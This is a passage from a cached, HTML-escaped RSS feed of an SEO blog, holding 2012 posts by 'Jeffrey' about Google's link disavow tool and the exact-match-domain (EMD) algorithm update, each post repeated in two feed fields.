src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/mission-impossible.jpg\&quot; alt=\&quot;Google Link Disavow Tool\&quot; width=\&quot;500\&quot; height=\&quot;315\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;While the first thought that comes to mind is mission impossible – &lt;strong&gt;“if you are caught, the government will disavow your existence”&lt;/strong&gt;. Now, it seems that webmasters have the ability to do this with their links (&lt;em&gt;if their mission fails&lt;/em&gt;).&lt;span id=\&quot;more-9159\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;On a brief comical Google conspiracy side note: now, the “&lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://searchengineland.com/google-explains-new-link-warnings-says-dont-panic-but-dont-ignore-128888\&quot;&gt;unnatural links warning&lt;/a&gt;” broadcast email from Google &lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/07/new-notifications-about-inbound-links.html\&quot; target=\&quot;_blank\&quot;&gt;this July&lt;/a&gt; makes perfect strategic sense.&lt;/p&gt;\n&lt;p&gt;Was this part of the plan all along, to scare webmasters with the notice then have them participate in the cleanup with the new &lt;strong&gt;link disavow tool&lt;/strong&gt; (to further improve their algorithm) like a mass web-wide manual review using us as user generated base of &lt;strong&gt;“motivated”&lt;/strong&gt; volunteers? Hmmm &amp;lt;&lt;em&gt;fingers on chin in perplexed pondering gesture&lt;/em&gt;&amp;gt;, the world may never know.&lt;/p&gt;\n&lt;p&gt;Anyway, so much for the Google conspiracy theories or movie trivia, so how does the tool work? After logging in, simply click the red button and then proceed to the browse / upload feature.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/10/a-new-tool-to-disavow-links.html\&quot; target=\&quot;_blank\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9161\&quot; title=\&quot;link-disavow-sc1\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/link-disavow-sc1.jpg\&quot; alt=\&quot;\&quot; width=\&quot;506\&quot; height=\&quot;267\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;Next, simply select the link location file (a .txt file with the URL’s or domains in question) and upload it and that’s it.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/10/a-new-tool-to-disavow-links.html\&quot; target=\&quot;_blank\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9162\&quot; title=\&quot;link-disavow-sc2\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/link-disavow-sc2.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;243\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;After you submit your file, allow Google ample time to re-crawl the links (&lt;em&gt;with Googlebot armed with the link abort list&lt;/em&gt;) and monitor the SERPs for signs of &lt;strong&gt;&lt;em&gt;Penguin symptom- like&lt;/em&gt;&lt;/strong&gt; recovery.&lt;/p&gt;\n&lt;p&gt;Google suggests not to disavow links from your own website, however aside from that, this is one way to get rid of pesky links which could be hurting your website in the SERPs (search engine result pages).&lt;/p&gt;\n&lt;p&gt;Since you can’t control who links to you, this is a great way to unwind potential backlinks acquired from negative SEO via competitors or otherwise.&lt;/p&gt;\n&lt;p&gt;In closing, there are no guarantees that they will disavow any or all links found in the discovery from the uploaded file, but this tool is better than having no option at all and having to sit it out in the penalty box indefinitely (if your website has lost rankings or been penalized in some way as a result of bad &lt;a href=\&quot;http://www.seoengine.com/link-neighborhood.htm\&quot;&gt;link neighborhoods&lt;/a&gt;).&lt;/p&gt;\n&lt;p&gt;Consider yourself debriefed and good luck on your mission: &lt;strong&gt;Project SERP Recovery&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=wLnwxXKpQsQ:IHJnYvKxqCU:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/wLnwxXKpQsQ\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:343:\&quot;In case you haven’t heard, Google has released a new disavow links tool allowing you to disavow (deny the existence of) any questionable backlinks. While the first thought that comes to mind is mission impossible – “if you are caught, the government will disavow your existence”. Now, it seems that webmasters have the ability to [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;7\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:92:\&quot;http://www.seodesignsolutions.com/blog/internet-news/google-disavow-links-tool-declassified/\&quot;;}s:7:\&quot;summary\&quot;;s:343:\&quot;In case you haven’t heard, Google has released a new disavow links tool allowing you to disavow (deny the existence of) any questionable backlinks. While the first thought that comes to mind is mission impossible – “if you are caught, the government will disavow your existence”. Now, it seems that webmasters have the ability to [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:4309:\&quot;&lt;p&gt;In case you haven’t heard, Google has released a new &lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/10/a-new-tool-to-disavow-links.html\&quot;&gt;disavow links tool&lt;/a&gt; allowing you to disavow (deny the existence of) any &lt;strong&gt;questionable&lt;/strong&gt; backlinks.&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/internet-news/google-disavow-links-tool-declassified/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9160\&quot; title=\&quot;mission-impossible\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/mission-impossible.jpg\&quot; alt=\&quot;Google Link Disavow Tool\&quot; width=\&quot;500\&quot; height=\&quot;315\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;While the first thought that comes to mind is mission impossible – &lt;strong&gt;“if you are caught, the government will disavow your existence”&lt;/strong&gt;. Now, it seems that webmasters have the ability to do this with their links (&lt;em&gt;if their mission fails&lt;/em&gt;).&lt;span id=\&quot;more-9159\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;On a brief comical Google conspiracy side note: now, the “&lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://searchengineland.com/google-explains-new-link-warnings-says-dont-panic-but-dont-ignore-128888\&quot;&gt;unnatural links warning&lt;/a&gt;” broadcast email from Google &lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/07/new-notifications-about-inbound-links.html\&quot; target=\&quot;_blank\&quot;&gt;this July&lt;/a&gt; makes perfect strategic sense.&lt;/p&gt;\n&lt;p&gt;Was this part of the plan all along, to scare webmasters with the notice then have them participate in the cleanup with the new &lt;strong&gt;link disavow tool&lt;/strong&gt; (to further improve their algorithm) like a mass web-wide manual review using us as user generated base of &lt;strong&gt;“motivated”&lt;/strong&gt; volunteers? Hmmm &amp;lt;&lt;em&gt;fingers on chin in perplexed pondering gesture&lt;/em&gt;&amp;gt;, the world may never know.&lt;/p&gt;\n&lt;p&gt;Anyway, so much for the Google conspiracy theories or movie trivia, so how does the tool work? After logging in, simply click the red button and then proceed to the browse / upload feature.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/10/a-new-tool-to-disavow-links.html\&quot; target=\&quot;_blank\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9161\&quot; title=\&quot;link-disavow-sc1\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/link-disavow-sc1.jpg\&quot; alt=\&quot;\&quot; width=\&quot;506\&quot; height=\&quot;267\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;Next, simply select the link location file (a .txt file with the URL’s or domains in question) and upload it and that’s it.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/10/a-new-tool-to-disavow-links.html\&quot; target=\&quot;_blank\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9162\&quot; title=\&quot;link-disavow-sc2\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/link-disavow-sc2.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;243\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;After you submit your file, allow Google ample time to re-crawl the links (&lt;em&gt;with Googlebot armed with the link abort list&lt;/em&gt;) and monitor the SERPs for signs of &lt;strong&gt;&lt;em&gt;Penguin symptom- like&lt;/em&gt;&lt;/strong&gt; recovery.&lt;/p&gt;\n&lt;p&gt;Google suggests not to disavow links from your own website, however aside from that, this is one way to get rid of pesky links which could be hurting your website in the SERPs (search engine result pages).&lt;/p&gt;\n&lt;p&gt;Since you can’t control who links to you, this is a great way to unwind potential backlinks acquired from negative SEO via competitors or otherwise.&lt;/p&gt;\n&lt;p&gt;In closing, there are no guarantees that they will disavow any or all links found in the discovery from the uploaded file, but this tool is better than having no option at all and having to sit it out in the penalty box indefinitely (if your website has lost rankings or been penalized in some way as a result of bad &lt;a href=\&quot;http://www.seoengine.com/link-neighborhood.htm\&quot;&gt;link neighborhoods&lt;/a&gt;).&lt;/p&gt;\n&lt;p&gt;Consider yourself debriefed and good luck on your mission: &lt;strong&gt;Project SERP Recovery&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=wLnwxXKpQsQ:IHJnYvKxqCU:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/wLnwxXKpQsQ\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:13;a:12:{s:5:\&quot;title\&quot;;s:60:\&quot;The Google EMD Update: Don’t Let Bad Search Happen to You!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/ryL6RtTC0UA/\&quot;;s:8:\&quot;category\&quot;;s:3:\&quot;SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Thu, 11 Oct 2012 06:46:20 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9145\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:14843:\&quot;&lt;p&gt;If you’re a webmaster and have been impacted (penalized, lost traffic or have been caught in an algorithmic filter) from Google, the conclusion is obvious that Google isn’t trying to win a popularity contests with their user base lately.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/the-google-emd-update-don%E2%80%99t-let-bad-search-happen-to-you/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9149\&quot; title=\&quot;dont-let-bad-search-happen-to-you\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/dont-let-bad-search-happen-to-you.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;274\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;First, it was the dawn of the web shattering &lt;strong&gt;Panda update&lt;/strong&gt; (a content classifier designed to remove low quality web pages, websites that copied from other websites or weak internal pages with minimal value) from their index,  second, the backlink witch hunt / &lt;strong&gt;Penguin update&lt;/strong&gt; (designed to demote websites from ranking highly which have &lt;em&gt;off-topic&lt;/em&gt; or inbound links from low quality websites) and now &lt;strong&gt;the EMD update&lt;/strong&gt; (the &lt;strong&gt;exact match domain update&lt;/strong&gt;) which demotes websites which have exact match domains from easily ranking for their core keywords.&lt;span id=\&quot;more-9145\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h2&gt;What&amp;#8217;s an EMD?&lt;/h2&gt;\n&lt;p&gt;While most savvy SEO’s or online marketing  types understand the lingo, for those unfamiliar with the terminology,  exact match domains are websites such as babycribs.com which &lt;em&gt;in the past&lt;/em&gt; would rank rather easily for the key phrase “baby cribs”.&lt;/p&gt;\n&lt;p&gt;Exact match domains are typically highly sought from &lt;strong&gt;“Domaineers”&lt;/strong&gt; (individuals who purchase, collect, monetize or sell domains) due to their ability to (1) rank highly in search engines with a fraction of the effort by the virtue of the domain name or (2) monetize those sites due to the commercial viability (since consumers easily commit the domain name to memory); that is, until &lt;strong&gt;the Google EMD update&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Before this update, there was a glaring loophole in search engines (Google in particular) which allowed exact match domains to rank uncontested with minimal SEO (sometimes within days of being created). So, instead of spending money on SEO, backlinks or promotion, businesses would often spend the money on acquiring a top level exact match domain.&lt;/p&gt;\n&lt;p&gt;The reason is simple, a website in the #1 position for an organic search phrase can garner 42-70% of the click through traffic for a keyword (compared to 2% in the number 10 position on the page); and since 7 out of 10 people typically click the organic results instead of paid (PPC) results, this is a major blow if dethroned from the #1 position or top 3 organic positions on the page.&lt;/p&gt;\n&lt;h2&gt;Minor or Major Change?&lt;/h2&gt;\n&lt;p&gt;On September 28&lt;sup&gt;th&lt;/sup&gt;, avid SEO personality &lt;a href=\&quot;http://www.seroundtable.com/google-emd-update-15776.html\&quot;&gt;Barry Schwartz&lt;/a&gt; from &lt;strong&gt;SEO Round Table&lt;/strong&gt; gleaned a tidbit of relevant info on the EMD update. Apparently, in a recent tweet by Matt Cutts (head of Google’s Web Spam Team) he states – “&lt;em&gt;Minor weather report: small upcoming Google algo change will reduce low-quality &amp;#8220;exact-match&amp;#8221; domains in search results.&lt;/em&gt;”&lt;/p&gt;\n&lt;p&gt;Cutts later tweeted – &lt;em&gt;“New exact-match domain (EMD) algo affects 0.6% of English-US queries to a noticeable degree. Unrelated to Panda/Penguin”.&lt;/em&gt;&lt;/p&gt;\n&lt;p&gt;Now your first thought, 0.6 that’s not so bad right? That all depends on the &lt;a href=\&quot;http://www.theatlantic.com/technology/archive/2012/09/google-news-at-10-how-the-algorithm-won-over-the-news-industry/262641/\&quot;&gt;sheer volume&lt;/a&gt; of total English-US queries, and, if that number is &lt;strong&gt;theoretically&lt;/strong&gt; 100,000,000,000 queries per day (100 billion), that represents 60 million potential queries &lt;strong&gt;affected daily&lt;/strong&gt; by this change.&lt;/p&gt;\n&lt;p&gt;There’s &lt;strong&gt;&lt;em&gt;nothing minor about this&lt;/em&gt;&lt;/strong&gt; or any other algorithm, infrastructure or classifier change in a search engines’ index, more specifically, this is the equivalent of Hurricane Katrina to a small business or website &lt;em&gt;not fortified by alternative traffic or citation sources&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;While most webmasters may not own an EMD or rely strictly on the ranking power of an exact match domain alone; if you do own a full or partial hyphenated EMD and your website’s major keywords disappear, your revenue is and business model are inevitably impacted instantly.&lt;/p&gt;\n&lt;p&gt;As far as chain reactions go, once rankings dip, your cash flow could tank or you could inevitably go out of business, unless you have a plan B for traffic (particularly in this economy).&lt;/p&gt;\n&lt;p&gt;Based on the inquiries we have received for the past 6 months from companies in need of solutions to Google changes, most webmasters (business owners, individuals and affiliates alike), do not have a plan B and are &lt;strong&gt;puzzled, frustrated, agitated or struggling&lt;/strong&gt; to determine &lt;em&gt;what happened to their traffic&lt;/em&gt;, &lt;em&gt;what &lt;strong&gt;they did&lt;/strong&gt; or &lt;strong&gt;did not do&lt;/strong&gt;&lt;/em&gt; and, most of all &lt;strong&gt;why now&lt;/strong&gt;, when things were just fine before the latest &lt;span style=\&quot;text-decoration: line-through;\&quot;&gt;monkey wrench&lt;/span&gt; tweak. Was it a competitor throwing a batch of bad links from negative SEO, or did they simply trip a filter and get hit with a penalty?&lt;/p&gt;\n&lt;p&gt;In either case, it’s dangerous for webmasters to blindly assume that once you attain a high ranking position for your primary keyword (exact match domain or otherwise) that your website won’t be churned off the page (from an update, filter or algorithm change).&lt;/p&gt;\n&lt;p&gt;Often, &lt;strong&gt;it’s not even your site being penalized&lt;/strong&gt;; it’s the other sites that linked to yours that took the hit (and your website is no longer buoyant in the search results as a result). Keep in mind that when they purge their index many of the sites that were holding other sites up (by virtue of their citation/links) have been caught (essentially algorithmically neutered) from passing link flow to other websites.&lt;/p&gt;\n&lt;p&gt;Since citation leaves a footprint, if your website happened to receive sustenance from an algorithmically compromised website, then, like a chain of dominos, the link-flow dropped off. Essentially, you start from zero again and fall to the back of the line (rolled back 5-10 pages in the search results) or sometimes worse (not ranking at all for the keyword).&lt;/p&gt;\n&lt;p&gt;The point is, there are no guarantees when it comes to how search engines tally links, popularity, relevance and value, it’s merely their perception of &lt;strong&gt;what they think their users want&lt;/strong&gt;. What Google forgets is, it’s those same users &lt;em&gt;who own websites and have become dependent on that traffic for their business&lt;/em&gt; who are getting thrown under the bus and have no idea why.&lt;/p&gt;\n&lt;p&gt;This process has gone on for years and quite frankly, people are getting tired of running the gauntlet and trying to appease their new rules (starting with things like adding nofollow attributes to all outbound links) because Google couldn’t detect link intent i.e. &lt;strong&gt;“paid links”&lt;/strong&gt; with their algorithm and wanted to impose using nofollow to webmasters to add nofollow attributes to all outbound links (using the fear of penalties) as a consequence.&lt;/p&gt;\n&lt;p&gt;Over time, Google just kept a plethora of updates coming (in the name or relevancy) from the Florida Update, the Big Daddy Update, the May Day Update, The Vince Update, the Panda Update, Penguin Update, etc., &lt;strong&gt;enough is enough already&lt;/strong&gt;.&lt;/p&gt;\n&lt;h2&gt;Is SEO Still Important?&lt;/h2&gt;\n&lt;p&gt;Is SEO still important? Yes and No!&lt;/p&gt;\n&lt;p&gt;SEO is important if you have (1) implemented conversion optimization first, so that regardless of &lt;strong&gt;where your traffic emanates from&lt;/strong&gt;, it will result in increased ROI (return on investment)  via more subscriptions, social engagement (viral traffic) or sales and (2) If you have the budget and / or staff to afford implementing the often tedious work associated with SEO.&lt;/p&gt;\n&lt;p&gt;SEO is NOT important if want to spend more money on Television, Radio, Newspaper ads, Pay-Per-Click, have a strong offline marketing push. While Google&amp;#8217;s claim for making these changes is relevancy, their motivation has transcended &amp;#8220;building the best search engine&amp;#8221; and has become something far more transparent (scrub &lt;span style=\&quot;text-decoration: line-through;\&quot;&gt;compromise&lt;/span&gt; the organic search    results and focus on paid search which provides approximately 98% of all profits for Google).&lt;/p&gt;\n&lt;h2&gt;How Do You Get Ranked?&lt;/h2&gt;\n&lt;p&gt;After perfecting your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/is-your-on-page-seo-strong-enough/\&quot;&gt;on page SEO&lt;/a&gt;, a large portion of the SEO process is based on developing sufficient website authority through exceeding the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;algorithmic tipping point&lt;/a&gt; for on page content (with the quality of that content now being equally as important as the volume and frequency).&lt;/p&gt;\n&lt;p&gt;Essentially, since articles don’t write themselves, you’ll need an in-house &lt;strong&gt;subject matter expert&lt;/strong&gt; or a knowledgeable writer or team of writers if you intend on developing the authority site model.  Instead of building and relying on backlinks, create content that is worthy to garner its own links or leverage the on page authority and trust your website has to catapult past less authoritative websites in your way.&lt;/p&gt;\n&lt;p&gt;Keep in mind, developing authority is a lengthy process that requires commitment and dedication to quality and consistency (always providing users’ value instead of rehashing vague fodder). Also remember that nothing happens overnight with SEO (most sustainable results can take months), in short, it’s all about &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/you-reap-what-you-sow-with-organic-seo/\&quot;&gt;planting and sowing&lt;/a&gt; the results over time.&lt;/p&gt;\n&lt;p&gt;If your content is stellar, people will share it (if you give them a nudge) and the social sharing has tremendous weight in the new algorithm (to expedite authority for the page and hence the site).&lt;/p&gt;\n&lt;p&gt;If you plan on using the three strategies outlined above, then SEO is important. Otherwise, you may have to seek &lt;a href=\&quot;http://www.networkedblogs.com/\&quot;&gt;alternative traffic sources&lt;/a&gt; to offset dependency on Google’s organic traffic as a life vein for your business.&lt;/p&gt;\n&lt;h2&gt;SEO Bizarro World&lt;/h2&gt;\n&lt;p&gt;Is the epic battle of giants affecting your business?&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;\n&lt;div id=\&quot;attachment_9150\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9150\&quot; title=\&quot;6a00d8345158e369e200e552abeda58834-500wi\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/6a00d8345158e369e200e552abeda58834-500wi.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;377\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Me Facebook Beat You Google&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Image courtesy of (&lt;a href=\&quot;http://comiccoverage.typepad.com/comic_coverage/2008/06/cover-to-cover-action-comics-1.html\&quot;&gt;comic coverage&lt;/a&gt;).&lt;/p&gt;\n&lt;p&gt;In this Bizarro world where Google wants to be more social and Facebook is talking about creating their own search engine, &lt;em&gt;be worried, be very worried&lt;/em&gt; since core competencies exist for a reason.&lt;/p&gt;\n&lt;p&gt;The rise and fall of search results for webmasters may result in a requiem for search engines, since consumers can easily &lt;strong&gt;“jump ship”&lt;/strong&gt; and find the next big thing and find new ways to &lt;strong&gt;get what they want&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Let’s just say that backlash is an understatement and when the search bubble bursts (and it will), I wouldn’t want to be in aisle 5 (if you catch my drift). I’m sure Myspace, Digg and other once popular websites never saw it coming as they were displaced by a fickle (or bored) user base or lots of savvy emerging competitors who introduced something equally viable to woo their users away. The end result,  their traffic sources (repeat visitors) dried up (like dust in the wind).&lt;/p&gt;\n&lt;p&gt;While search does not exclusively belong to Google, quality matters and the importance and credibility of organic results is what delivers the most traffic from repeat visitors.&lt;/p&gt;\n&lt;p&gt;If the quality and relevancy suffers, the site loses its value. In my opinion, that is how I view Google’s search results, quite simply, &lt;em&gt;they have filtered so many things that good sites along with the bad have been suppressed &lt;/em&gt;(which translates to a poor user experience). I find myself having to refine my searches more and more, since the results on the first page are NOT what I am looking for and often are so far off topic I am amazed how it surfaced.&lt;/p&gt;\n&lt;h2&gt;Don&amp;#8217;t Let Bad Search Happen to You!&lt;/h2&gt;\n&lt;p&gt;So, not to go all &lt;strong&gt;“fist of goodness”&lt;/strong&gt; on you here (props to direct TV vs. cable ads) but, this is one thing for both Google and users alike to keep in mind.&lt;/p&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/Lo2hyWYOV6g?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; src=\&quot;http://www.youtube.com/v/Lo2hyWYOV6g?version=3&amp;amp;hl=en_US\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;When people lose confidence in search engines, the less people search, the less people search, the less valuable the paid ads become, the less valuable the paid ads become the more a search engine tries to justify its position to those paying for ads, the more a search engine tries to justify its position for those paying for ads, the more changes, penalties or adjustments are enforced through “the index vs. the content in the index” which affects its organic user base, the more changes, penalties or adjustments are made that affect the organic user base, the less users will depend on search engines.&lt;/p&gt;\n&lt;p&gt;Don’t let bad search happen to you, don’t rely strictly on search engines…&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=ryL6RtTC0UA:Dr3friZCmoo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/ryL6RtTC0UA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:339:\&quot;If you’re a webmaster and have been impacted (penalized, lost traffic or have been caught in an algorithmic filter) from Google, the conclusion is obvious that Google isn’t trying to win a popularity contests with their user base lately. First, it was the dawn of the web shattering Panda update (a content classifier designed to [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;2\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:108:\&quot;http://www.seodesignsolutions.com/blog/seo/the-google-emd-update-don%e2%80%99t-let-bad-search-happen-to-you/\&quot;;}s:7:\&quot;summary\&quot;;s:339:\&quot;If you’re a webmaster and have been impacted (penalized, lost traffic or have been caught in an algorithmic filter) from Google, the conclusion is obvious that Google isn’t trying to win a popularity contests with their user base lately. First, it was the dawn of the web shattering Panda update (a content classifier designed to [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:14843:\&quot;&lt;p&gt;If you’re a webmaster and have been impacted (penalized, lost traffic or have been caught in an algorithmic filter) from Google, the conclusion is obvious that Google isn’t trying to win a popularity contests with their user base lately.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/the-google-emd-update-don%E2%80%99t-let-bad-search-happen-to-you/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9149\&quot; title=\&quot;dont-let-bad-search-happen-to-you\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/dont-let-bad-search-happen-to-you.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;274\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;First, it was the dawn of the web shattering &lt;strong&gt;Panda update&lt;/strong&gt; (a content classifier designed to remove low quality web pages, websites that copied from other websites or weak internal pages with minimal value) from their index,  second, the backlink witch hunt / &lt;strong&gt;Penguin update&lt;/strong&gt; (designed to demote websites from ranking highly which have &lt;em&gt;off-topic&lt;/em&gt; or inbound links from low quality websites) and now &lt;strong&gt;the EMD update&lt;/strong&gt; (the &lt;strong&gt;exact match domain update&lt;/strong&gt;) which demotes websites which have exact match domains from easily ranking for their core keywords.&lt;span id=\&quot;more-9145\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h2&gt;What&amp;#8217;s an EMD?&lt;/h2&gt;\n&lt;p&gt;While most savvy SEO’s or online marketing  types understand the lingo, for those unfamiliar with the terminology,  exact match domains are websites such as babycribs.com which &lt;em&gt;in the past&lt;/em&gt; would rank rather easily for the key phrase “baby cribs”.&lt;/p&gt;\n&lt;p&gt;Exact match domains are typically highly sought from &lt;strong&gt;“Domaineers”&lt;/strong&gt; (individuals who purchase, collect, monetize or sell domains) due to their ability to (1) rank highly in search engines with a fraction of the effort by the virtue of the domain name or (2) monetize those sites due to the commercial viability (since consumers easily commit the domain name to memory); that is, until &lt;strong&gt;the Google EMD update&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Before this update, there was a glaring loophole in search engines (Google in particular) which allowed exact match domains to rank uncontested with minimal SEO (sometimes within days of being created). So, instead of spending money on SEO, backlinks or promotion, businesses would often spend the money on acquiring a top level exact match domain.&lt;/p&gt;\n&lt;p&gt;The reason is simple, a website in the #1 position for an organic search phrase can garner 42-70% of the click through traffic for a keyword (compared to 2% in the number 10 position on the page); and since 7 out of 10 people typically click the organic results instead of paid (PPC) results, this is a major blow if dethroned from the #1 position or top 3 organic positions on the page.&lt;/p&gt;\n&lt;h2&gt;Minor or Major Change?&lt;/h2&gt;\n&lt;p&gt;On September 28&lt;sup&gt;th&lt;/sup&gt;, avid SEO personality &lt;a 